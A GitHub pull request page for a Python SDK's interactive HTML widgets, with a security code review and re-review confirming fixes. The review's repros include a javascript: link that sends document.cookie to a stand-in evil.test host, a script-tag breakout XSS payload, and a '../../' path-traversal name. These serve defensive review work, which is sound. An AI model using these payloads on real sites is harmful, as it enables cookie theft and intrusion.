Skip to content

Add interactive Python widgets with host-bridge RPCs and modern HTML UI.Feat/python widgets - #12

Merged
manish-wekan merged 6 commits into
nitrocloudofficial:developfrom
aviabhijit55-ship-it:feat/python-widgets
Aug 21, 2026
Merged

Add interactive Python widgets with host-bridge RPCs and modern HTML UI.Feat/python widgets#12
manish-wekan merged 6 commits into
nitrocloudofficial:developfrom
aviabhijit55-ship-it:feat/python-widgets

Conversation

@aviabhijit55-ship-it

Copy link
Copy Markdown

Summary

  • Extend the Python host-bridge for callTool, open-link, fullscreen, theme, and widget state.
  • Keep widgets as Python HTML builders: pizza/flight cards now open the next view; shop actions use host links.
  • Replace leftover JSON re-renders with dedicated flight UI and shared light/dark tokens.

Test plan

  • pytest tests in nitrostack-python-sdk/
  • /widgets/preview: pizza list card → shop; Maps/Call/Website; Expand
  • Flight search card → details → seat map

@manish-wekan

Copy link
Copy Markdown
Collaborator

Review: Phase 6 Python widgets

Reviewed at bfb377b. Checked out the branch, installed it, and ran everything below against the real code — all 195 tests pass, so every finding here is something the suite doesn't currently cover. Each one has a verified repro.


1. A widget render error destroys an otherwise-successful tool call — nitrostack/core/app.py:654

_to_call_tool_result builds the widget HTML inline while constructing the result, with no isolation. Any exception in a view builder propagates out of tools/call.

# handler succeeds and returns valid data
return {"shops": [{"id": "a", "name": "A", "priceLevel": "expensive"}], "totalShops": 1}
tools/call FAILED with unhandled ValueError: invalid literal for int() with base 10: 'expensive'

The tool did its job; only the presentation layer failed. Rendering should be wrapped so a bad field degrades to the text/JSON content instead of failing the call.

2. Widget _meta is silently dropped when a tool sets its own _metanitrostack/core/app.py:624

if isinstance(result, types.CallToolResult):
    if component is not None and result.meta is None:   # <-- guard
        result = result.model_copy(update={"_meta": build_call_tool_result_meta(component, result.meta)})

build_call_tool_result_meta(component, extra) takes extra specifically to merge caller meta, but the result.meta is None guard means that merge path can never run. Verified with two identical widget tools:

tool 'a' (returns _meta={"my/telemetry": 1})  -> wire _meta = {'my/telemetry': 1}
tool 'b' (returns no _meta)                   -> wire _meta = {'ui': {...}, 'openai/outputTemplate': ...}

Tool a loses ui.resourceUri and openai/outputTemplate entirely, so the host renders no widget. Dropping the guard and letting the merge run fixes it.

3. Hardcoded OAuth 404 routes break discovery for servers that do use OAuth — nitrostack/transports/http.py:649

These routes are registered unconditionally, regardless of whether OAuthModule is configured. Built an app with OAuthModule.for_root(...) and requested the endpoint:

GET /.well-known/oauth-protected-resource
404 {"error":"invalid_request","error_description":"This MCP server does not use OAuth. ..."}

A spec-compliant client discovers protected-resource metadata at the resource server's own origin, so it gets an authoritative "no OAuth here" instead of the configured metadata. The Inspector-DX fix is reasonable, but these routes need to be conditional on OAuth not being configured.

4. No URL scheme validation — javascript: reaches a live href and window.open()nitrostack/widgets/ui.py:121

link_attrs HTML-escapes but never checks the scheme:

<a class="ns-btn ns-btn-primary"
   data-open-link="javascript:fetch(&#x27;https://evil.test/?c=&#x27;+document.cookie)"
   href="javascript:fetch(&#x27;https://evil.test/?c=&#x27;+document.cookie)">Website</a>

The click listener calls preventDefault, but:

  • __nitrostack_openLink has no scheme check and falls back to window.open(url, "_blank", "noopener");
  • the raw href stays live for middle-click, ctrl-click, and "Open link in new tab", which never reach the JS listener.

Any tool sourcing website from an upstream API or user-generated content is exposed. Needs an http(s):/tel:/mailto: allowlist in both link_attrs and __nitrostack_openLink.

5. generate tool writes outside the project directory — nitrostack/cli/main.py:921

nitrostack-py generate tool "../../ESCAPED"
Generated tool boilerplate in '../../ESCAPED_tool.py'
Generated widget HTML in './widgets/out/../../ESCAPED.html'
exit: 0

Confirmed a file landed outside the project root. PR #8 fixed this exact class for generate_component/generate_module with _validate_generate_name + _assert_dest_inside_root, but generate_tool lives in main.py and never got those guards — and this PR adds a second unguarded write (write_widget_html) on the same input. Reusing the two helpers from cli/generate.py closes it.

6. OAuthGuard fails open by default, and the OAuth template ships with auth off — nitrostack/core/pipeline.py:153

OAUTH_REQUIRED=None     no-token -> True
OAUTH_REQUIRED='false'  no-token -> True
OAUTH_REQUIRED='true'   no-token -> PermissionError

flight-booking/.env ships OAUTH_REQUIRED=false, and create_scope_guard short-circuits the same way — so in the template whose whole purpose is demonstrating OAuth 2.1, every @use_guards(OAuthGuard, create_scope_guard([...])) tool is fully open. Under PR #8 the same unauthenticated call returned "Access denied by guard".

Line 184's return not required extends this to introspection failures: an unreachable introspection endpoint also grants access.

I understand the local-DX motivation, but a scaffold that silently ships no-op auth guards is a bad default to hand a developer who then deploys it. Worth at least a loud startup warning when guards are active but OAUTH_REQUIRED is off, and reconsidering .env shipping false.

7. Unguarded numeric coercion and unbounded repetition in view builders — nitrostack/widgets/views.py:45

price = "$" * int(shop.get("priceLevel") or 1)
  • priceLevel="expensive"ValueError (also chart_body's float(item["value"]) with "abc")
  • priceLevel=10000000 → a 10,000,605-character document from a single shop

Both verified. With finding #1 unfixed, the first kills the tool call and the second lets one upstream field blow up response size.

8. json.dumps into an inline <script> without escaping </nitrostack/widgets/preview_page.py:172

const tools = [{... "arguments": {"q": "</script><script>alert(document.domain)</script>"}}];

The script element closes early. Notably html_util.json_script in the same package does escape this correctly — using that helper here fixes it. cli/main.py write_widget_preview has the same gap, building __ROUTES__ via f'"{r}"' with no escaping at all.

9. /widgets/preview/call returns 500 on malformed JSON — nitrostack/transports/http.py:584

await request.json() is unguarded; body not json{{ → 500 rather than 400. The same endpoint also 500s when the tool call raises (#1), so the preview UI can't distinguish a bad request from a server fault.

10. openNow=false now returns only closed shops — pizzaz_service.py:38

The truthy check became an explicit tri-state, so openNow=false inverts the filter rather than disabling it. Previously it returned all shops. A model passing openNow: false to mean "I don't care" now gets exclusively closed shops.


Summary: the widget architecture itself is clean — the Python-owned HTML approach, the shared host bridge, and the escaping discipline in views.py are all solid, and dropping the TSX/Next build in favour of static HTML is a real simplification. Findings 1, 2, 3, and 4 are the ones I'd want resolved before merge: two break widget rendering in ordinary cases, one breaks OAuth discovery, and one is a genuine XSS vector.

…discovery, and generate paths cannot break tools or escape the project.

Keep tools/call succeeding when HTML fails, always merge widget _meta with caller metadata, and harden URL schemes, preview JSON, and openNow=false.

Co-authored-by: Cursor <cursoragent@cursor.com>
@manish-wekan

Copy link
Copy Markdown
Collaborator

Re-review of 7d5530e — all 10 findings fixed

Checked out the fix commit, installed it, and re-ran every original repro. All 10 findings are genuinely resolved — verified by executing, not by reading the diff. 203 tests pass (up from 195), with regression coverage added for the findings.

# Finding Verified result
1 Render error kills tool call isError: False, content [TextContent, EmbeddedResource, ResourceLink]
2 Widget _meta dropped {'my/telemetry': 1, 'ui': {...}, 'openai/outputTemplate': ...} — caller meta preserved and merged
3 OAuth discovery shadowed Stub routes omitted when OAuthModule registered; plain 404 instead of a false "does not use OAuth"
4 javascript: URLs Blocked at all three layers — safe_href, __nitrostack_isSafeUrl, preview page. Case/whitespace variants and data: also rejected
5 generate tool traversal ../../ESCAPED → exit 1, nothing written outside the project
6 OAuth fail-open Loud stderr warning on startup; .env no longer ships an explicit false
7 Numeric coercion "expensive", 10000000 and "abc" all render; priceLevel capped at 4
8 Script breakout <\/script> — now routed through the shared json_for_inline_script helper
9 preview/call 500s 400 for malformed JSON, non-object body, and bad arguments; 200 for valid
10 openNow=false 5 shops (all), matching omitted — no longer closed-only

Two things I want to call out as better than a minimal fix: extracting json_for_inline_script so preview_page.py and write_widget_preview share the escaping helper rather than each re-implementing it, and adding DIContainer.has_value() so the OAuth check stops relying on resolve() auto-instantiating. Both remove the class of bug rather than the instance. Regenerating all 13 committed widgets/out/*.html so the static snapshots carry the new scheme guard was the right call too — easy to miss.


Three small new issues introduced by the fix commit

None are blockers; the first is the only one I'd bother fixing before merge.

1. generate tool leaves an orphan file when the two new validators disagree — nitrostack/cli/main.py:1548

_GENERATE_NAME_RE (^[A-Za-z_][A-Za-z0-9_]*$) and _WIDGET_ROUTE_RE (^[A-Za-z0-9][A-Za-z0-9_-]*$) disagree in both directions, and the .py file is written before the route check runs:

$ nitrostack-py generate tool _foo
Error: widget route must be a single alphanumeric path segment
exit=1
$ ls
_foo_tool.py          # written anyway, references a @widget("_foo") that has no HTML

Re-running then hits File '_foo_tool.py' already exists, so the user has to delete it by hand. Validating the route up front — before any write — fixes it. (my-tool and 9lives fail the name check but pass the route check, which is the same divergence from the other side.)

2. Skipped widget routes are still reported as created — nitrostack/cli/main.py:1008

unique.append(route) happens before the write attempt, and the new except ValueError: continue is silent:

reported to user as created: ['good-route', 'bad/route']
actually on disk          : ['good-route.html']

So init_project prints ✓ Python widgets: good-route, bad/route for a widget that was never scaffolded. Appending only on success, or warning on skip, makes the output honest.

3. _safe_int misses OverflowErrornitrostack/widgets/views.py:35

The new helper catches (TypeError, ValueError), but int(float('inf')) raises OverflowError:

_safe_int(float('inf'))  -> OverflowError
_safe_float(float('inf')) -> 0.0        # sibling handles it correctly

Reachable via 1e400 in upstream JSON, which json.loads yields as inf. Impact is small precisely because of the defense-in-depth added in this same commit — _widget_result_content catches it, so the tool call survives — but the EmbeddedResource is dropped and the widget silently fails to render. Adding OverflowError to the except clause, or mirroring the inf guard _safe_float already has at line 47, closes it.


Nice turnaround on this. Findings 1–4 from the original review are the ones that mattered and all four are properly fixed at the root rather than patched at the call site. From my side this is good to merge once the orphan-file case is handled; the other two are cosmetic.

generate tool: validate the widget route before writing anything. The name and
route validators accept different character sets in both directions (`_foo` is
a valid identifier but an invalid route; `my-tool` is the reverse), and the
route was only checked inside write_widget_html — after the .py file had
already been written. That left an orphan file which then blocked the retry
with "File already exists".

ensure_python_widgets: append a route to the returned list only after its HTML
is actually written, and warn instead of skipping silently. Callers print that
list as "created", so a rejected route was being reported as a widget that had
been scaffolded when nothing landed on disk. Also dedupes via a set so a route
repeated across files is attempted once.

_safe_int: catch OverflowError. json.loads("1e400") yields inf and
int(float("inf")) raises, which _safe_float already guards against but
_safe_int did not — the tool call survived thanks to the defense-in-depth in
the same commit, but the EmbeddedResource was dropped and the widget silently
failed to render.

Each fix has a regression test in tests/test_pr12_review.py, all three verified
to fail without the corresponding change. 206 tests pass, up from 203.
@manish-wekan
manish-wekan merged commit c671706 into nitrocloudofficial:develop Aug 21, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants